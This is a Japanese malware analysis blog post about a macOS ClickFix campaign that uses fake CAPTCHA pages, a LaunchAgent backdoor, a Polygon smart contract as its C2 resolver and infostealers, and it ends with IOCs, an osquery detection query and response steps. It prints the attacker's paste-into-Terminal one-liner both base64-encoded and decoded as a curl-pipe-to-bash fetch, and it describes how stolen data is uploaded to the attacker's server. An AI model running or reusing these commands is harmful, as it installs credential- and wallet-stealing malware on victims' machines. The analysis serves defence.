Bazinga:偽CAPTCHAからPolygonベースのC2リゾルバーを使うmacOSバックドアまで | AI-native active defense

要約

• bazinga.bizに繰り返しアクセスすると、広告ページ、あるいはCloudKey、SentinelGate、Meridianを名乗る偽の認証画面が表示されました。確認された認証ページはいずれも同一のClickFixコマンドを配信していました。
• そのコマンドはupdate.shをダウンロードし、永続化用のLaunchAgentと難読化されたAppleScriptローダーをインストールしました。
• このローダーは固定のC2ドメインを保持していません。読み取り専用のeth_callを通じてPolygonコントラクト0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0から現在のホスト名を読み取ります。9月14日の時点でこのコントラクトはjse8x92s[.]meを返しており、9月16日時点でも変わっていませんでした。
• サーバーはバックドアと2種類のインフォスティーラーを配信しました。これらは合わせて、検証済みのmacOSパスワード、ブラウザセッション、Keychainデータ、暗号資産ウォレット、Telegramデータ、メモ、ローカルファイルを窃取します。
• 同一のキャンペーントークンを15分間隔で90分間再取得したところ、bmoduleとledgerのスタブは変化しませんでした。一方、smoduleとlmoduleはポーリングが成功するたびに異なるSHA-256を返しました。
• 本日時点のC2ホスト名をブロックするだけでは不十分です。コントラクト、LaunchAgent、txid=のPOST本文、そしてフォールバック用IPアドレス62.60.226[.]50を追跡してください。スティーラーのファイルハッシュを恒久的な検知指標として扱わないでください。

BazingaからClickFixへ

私は『ビッグバン★セオリー』でこのアドレスが言及されているのを耳にし、bazinga.bizにアクセスしてみました。ブラウザはCloudKeyを名乗るページにリダイレクトされ、「私はロボットではありません」というチェックボックスが表示されました。これをクリックすると、Spotlightを開く、Terminalを起動する、ペーストする、Returnキーを押すという4つの手順が示されました。

その後のアクセスでは、広告ページやSentinelGate、Meridianを名乗る認証画面が表示されました。Meridianではトラッキング風の参照番号34YS-455Dが示されていました。デザインは変化していましたが、チェックボックスをクリックした後、いずれの認証ページも同一の初期シェルコマンドを配信していました。

これらのパネルはいずれも、訪問者にTerminalへの貼り付けを促します。共通するコマンドは以下の通りです。

bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9icmVhZC5hcmtvbWV4ZGVzYXJyb2xsb3MuY29tL3VwZGF0ZS5zaCcgfCBiYXNo" | base64 -d)

デコードすると次の通りです。

curl -s 'hxxps://bread[.]arkomexdesarrollos[.]com/update.sh' | bash

投稿されたワンライナーのSHA-256は3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60です。

Caronteが再構築した攻撃チェーン

私はこのコマンドをCaronteに投入しました。このたった一行から、Caronteはupdate.shをダウンロードし、AppleScriptの各層をデコードし、LaunchAgentを抽出し、Polygon上で稼働中のコマンドサーバーを解決し、バックドアが返すモジュールの後を追跡しました。

このチェーンは、バックドアがポーリングを開始するまでは直線的です。それ以降は、サーバーがタスクを選択し、対応するモジュールを返す仕組みになります。

コマンドから永続化まで

取得したスクリプトは17,813バイトです。AppleScriptインストーラーをデコードし、osascriptで実行します。このインストーラーは以下のLaunchAgentを書き込み、ロードします。

~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist

RunAtLoadによりログイン時に起動し、KeepAliveにより終了しても再起動します。そのプログラム引数には12,408文字のBase64ローダーが含まれ、これをデコードすると別のAppleScriptになります。この段階に含まれる文字列のほとんどは、単純なテキスト検索を回避するため一文字ずつ組み立てられています。

Polygonがコマンドサーバーを解決する仕組み

このローダーは固定のコマンドサーバードメインを保持していません。代わりに、Polygonのスマートコントラクトに現在のホスト名を問い合わせます。

Network:          Polygon
Contract:         0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Getter selector:  0x2686ecea
Setter selector:  0xd75d1ba6

読み取り専用のeth_callを、polygon.drpc.org、polygon.publicnode.com、polygon-mainnet.gateway.tatum.io、tenderly.rpc.polygon.communityという4つの公開RPCサービス経由で送信します。これらはいずれも正規のプロバイダーであり、ここでは設定情報の照会先として悪用されています。

9月14日時点で、このコントラクトは以下にデコードされるエンコード済み文字列を返しました。

6a736538783932732e6d65  ->  jse8x92s[.]me

このコントラクトは一種のディレクトリです。スクリプトや窃取データは依然として通常のWebサーバーを経由しますが、攻撃者はローダーを差し替えることなくPolygon上に保存されたホスト名を変更できます。この種の手口をGuardio Labsは2023年にEtherHidingと名付けました。同一のPolygonコントラクトとgetterは、NetbyteSEC、PHK、Have I Been Squattedによる過去のmacOS ClickFix調査にも登場しています。

バックドア

ホスト名を解決した後、ローダーは今回の捕捉分のキャンペーントークンを付けてbmoduleをリクエストします。

txid=962d87b1d1f7791ede110c2fd8061dc7&bmodule

このトークンは32桁の16進数からなる顧客識別子あるいはビルド識別子です。同一コントラクトを対象とした他の公開分析では、同じtxid=のスロットに8a4e280e1159833ede425a1306c2efe5など異なる値が使われていました。

サーバーは32,934バイトのAppleScript製バックドアを返しました。これはユーザー名とハードウェアUUIDを収集し、C2を再度解決した上で、偽のシステム環境設定パスワードプロンプトを表示します。

Please enter password for continue:

入力されたパスワードはdscl . authonlyで検証され、成功するまでダイアログが繰り返し表示されます。パスワードは~/.passphraseに保存され、キャンペーントークンは~/.txidに保存されます。バックドアはさらにtccutil reset Allを実行し、既存のプライバシー許可設定をクリアすることで、macOSが再度確認を求めるようにします。

登録が完了すると、60秒間隔のループが、ホスト識別子とキャンペーントークンを使ってタスクを要求します。ディスパッチャーは、攻撃者側が指定するタスクワードを、対応するモジュールの取得へとマッピングします。

タスク名自体は安定していますが、smoduleとlmoduleの背後にあるバイト列は一定ではありません。このキットの他の捕捉例では、ledgerに対してLedger Walletを装ったフィッシング用ディスクイメージが配信され、openshellに対してはMach-O形式のシェルエージェントが配信された例もあります。今回の捕捉、および9月16日に行ったすべてのライブ再クエリでは、この2つのフェッチはそれぞれスタブと空のボディを返しました。

2種類のインフォスティーラー

smoduleは高度に難読化されたAppleScript製のインフォスティーラーで、以下を収集します。

• ユーザー名、macOSのバージョン、ハードウェアUUID、パブリックIPアドレス
• あらかじめ~/.passphraseに保存されていたパスワード
• ブラウザのパスワード、Cookie、ログイン情報データベース
• ~/Library/Keychains/login.keychain-db
• 50種類以上の暗号資産ウォレットアプリケーションのデータ
• Apple Notes、Telegram Desktopのデータ、選別されたデスクトップおよび書類フォルダ内のファイル

これらのデータは/tmp/ccd01d90608c2dcfce644c41502a7691789402688/配下に一時保存され、curlを使ってhxxps://jse8x92s[.]me/upload.phpにアップロードされます。これが失敗した場合はhxxp://62.60.226[.]50/upload.phpが使われます。

lmoduleは同じループから配信される2つ目のインフォスティーラーです。以下のビルド識別情報が含まれています。

Essential macOS Stealer
Build: NITRO2

これはブラウザプロファイル、Keychainのデータ、Telegramのデータ、デスクトップ型ウォレット、そして170種類以上のウォレット・パスワードマネージャー系ブラウザ拡張機能を狙います。収集したデータは/tmpに一時保存され、dittoでアーカイブが作成された後、同じ主要・フォールバック両方のアップロード先エンドポイントを使用します。

NetbyteSECはこのモジュール構成をAtomic macOS Stealer(AMOS)と関連づけていました。Caronteがsmoduleとlmoduleの両方をライブ分析した結果、同一のEssential macOS Stealer / NITRO2というバナーが確認されています。同一のPolygonキットに関する公開情報の追跡では、Phexiaという名称も使われています。Caronteはバックドアの挙動から、Phexiaとの関連性が高いと評価しています。

C2の通信方式

ローテーションするホスト名は単なるポインターに過ぎません。Polygonでの解決後の各段階はすべて、そのホスト上の/に対する通常のHTTP通信であり、ボディはapplication/x-www-form-urlencoded形式です。独自のバイナリフレーミングは存在せず、フォールバック経路にも追加の暗号化はありません。

txidの値はキャンペーンまたは顧客を識別するトークンであり、被害者を識別するものではありません。今回の捕捉分では962d87b1d1f7791ede110c2fd8061dc7が使われていました。同一コントラクトに関する公開レポートでは、8a4e280e1159833ede425a1306c2efe5やc8a845e30830c48f753d01aa38927dc0という値が使われています。これは異なるパネル顧客数の下限を示すものであり、感染したMacの台数の下限を示すものではありません。通信上でのホストの識別は、ハードウェアUUIDとローカルのユーザー名の組み合わせによって行われます。これらの値は、認証なしのリクエストでは一覧表示されません。

このキットに関する過去の分析では、/ledger/index.php?txid=にあるLedgerフィッシングページと、ws://62.60.226[.]50:1337/ws/agentにあるWebSocket製シェルエージェントについても記録されています。2026年9月16日時点で、https://jse8x92s[.]me/ledger/index.phpは404を返し、フォールバック用IPアドレスのTCP/1337ポートは閉じていました。

このボットプロトコルは被害者一覧を公開していません。稼働中のホスト名および62.60.226[.]50に対するGET /は、空の200 text/plainボディを返しました。GET /upload.phpも空の200を返しました。公開されたインデックスは存在しないため、攻撃者側の認証情報がなければ、C2から被害者数を読み取ることはできません。

ライブ確認:スティーラーはローテーションするがバックドアは変わらない

2026年9月16日、私はjse8x92s[.]meのPOST /に対して、txid=962d87b1d1f7791ede110c2fd8061dc7を使い、4つのモジュールセレクターを15分間隔で90分間にわたり再リクエストしました。Polygonのgetterは依然としてこのホスト名を返し続け、このキャンペーントークンは引き続きバックドアを受け取りました。

Polygon上のホスト名は変化の遅いポインターです。9月10日の書き込み以降動いておらず、この観測期間中も変化はありませんでした。それでもスティーラーの方は変化していました。コントラクトの更新もbmoduleの変化もない中で、6種類の異なる非空のsmoduleのボディと、7種類の異なるlmoduleのボディが届いたのです。

これはC2の移転ではなく、パッキング(難読化・再パッケージ化)の結果です。ライブで取得したボディを静的解析したところ、同一のNITRO2バナー、同一のtxid、同一のアップロード先エンドポイントが確認されました。すべての文字列はcharacter idの連結によって再構築されているため、ファミリー自体は変わらないままSHA-256だけが変化するのです。最初のCaronte捕捉分から得たsmoduleのハッシュは、その翌日の最初のライブポーリングの時点で、すでに別の検体になっていました。追うべきは昨日のスティーラーのSHA-256ではなく、txid=のPOSTです。

Polygon上のC2履歴

Polygonの公開トランザクション履歴からは、リゾルバーコントラクトに過去書き込まれたホスト名を確認できます。今回の捕捉時期前後の値は以下の通りです。

9月10日のトランザクションは、入れ子構造になったredeemDelegations呼び出しです。ホスト名は内側のセッター呼び出しデータの中に含まれています。送信元は0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3というウォレットで、setServerURL(0xd75d1ba6)を発行しています。9月14日に行ったコントラクトの読み取りでも、同じjse8x92s[.]meという値が返されました。

この表は、その後のローテーションの一部を抜粋したものであり、オンチェーン履歴の全体ではありません。

2026年9月16日に実施したDNSおよびHTTPの確認により、これらのドメイン名がいかに使い捨てであるかが明らかになりました。5月以降にコントラクトへ書き込まれた20個の稼働ホスト名のうち、17個はすでに名前解決できませんでした。DNSが残っていたのは3個のみです。

恒久的に残るノードはドメインではありません。62.60.226[.]50は依然としてTCP/80で応答し、Apache/2.4.58 (Ubuntu)を稼働させています。WHOIS情報によれば、このアドレスは62.60.226.0/24の範囲に属し、ネットネームはFEMOITSOLUTIONS-DE-RENTNET、AS214351 FEMO IT SOLUTIONS LIMITEDに割り当てられ、フランクフルトにジオロケーションされています。TCP/443とTCP/1337は閉じていました。このファミリーのスティーラーは、現在のCloudflareホスト名へのアップロードが失敗した場合にこのIPアドレスへ窃取データをPOSTするため、jse8x92s[.]meを潰しても、投下先自体は潰れません。

検知と対応

価値の高い検知は、この攻撃チェーンにおける複数のアクションを組み合わせることで実現できます。

このバックドアが書き込む2つのドットファイルを検出するosqueryクエリです。

SELECT path FROM file
WHERE path LIKE '/Users/%/.passphrase'
   OR path LIKE '/Users/%/.txid';

これらの挙動がMac上で確認された場合は、該当端末を隔離し、LaunchAgentをアンロードして削除し、ブラウザセッションを無効化した上で、クリーンな端末から認証情報をローテーションしてください。ウォレットアプリケーションのデータを確認し、流出した可能性のある資金は新規生成した鍵へ移動させてください。現在のC2とアップロード先エンドポイントをブロックした上で、ホスト名は変化しうることを踏まえ、コントラクトアドレスおよび攻撃者のウォレットについても追跡してください。

侵害指標(IOC)

この4つのRPCホストはいずれも正規のサービスです。検知すべきシグナルは、ブラウザ以外のプロセスがこのコントラクトに対してeth_callを呼び出している点にあります。

ファイルハッシュ

ライブ観測期間中のsmoduleおよびlmoduleのハッシュ値は割愛しています。15分ごとのポーリングが成功するたびに、異なるダイジェスト値が得られたためです。これらの値はローテーションが行われている証拠ではあっても、明日以降も一致し続ける指標ではありません。

結論

目新しいドメインから偽の認証ページへと誘導されましたが、その裏にあるコマンドが開いたのは、完全な感染チェーンでした。ログイン時の永続化、変更可能なC2ディレクトリとしてのPolygonの利用、検証済みmacOSパスワードの窃取、そして2種類のインフォスティーラーを配信するタスクループです。

このディレクトリに登録されたホスト名は今後も変化していくと見られます。9月16日の90分間の観測ではその動きはありませんでしたが、スティーラーの方はポーリングのたびに変化し続けた一方、バックドアとledgerスタブは変わりませんでした。コントラクト、LaunchAgent、そしてtxid=のPOST本文を追跡してください。本日時点のsmoduleのハッシュは、すでに古くなっている可能性があります。

参考文献

• Guardio Labs: “EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts — 2023年に発表された、この技術の名称の由来となった論文。
• NetbyteSEC: Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding — 同一のリゾルバーコントラクトおよび関連するモジュール構成についての先行分析。
• PHK: macOS ClickFix Loads Its C2 From a Polygon Smart Contract — リゾルバーおよび攻撃者ウォレットに関する先行の独立調査。
• Have I Been Squatted: From typosquatting to macOS backdoor via ClickFix and blockchain C2 — 同一のモジュールAPIに関する先行分析。他のledgerやopenshellのペイロードも含む。
• Ethereum JSON-RPC documentation: eth_call — この読み取り専用呼び出しの仕様。
• Polygon Blockscout: September 10 transaction — jse8x92s[.]meを含む入れ子構造のセッター呼び出しデータ。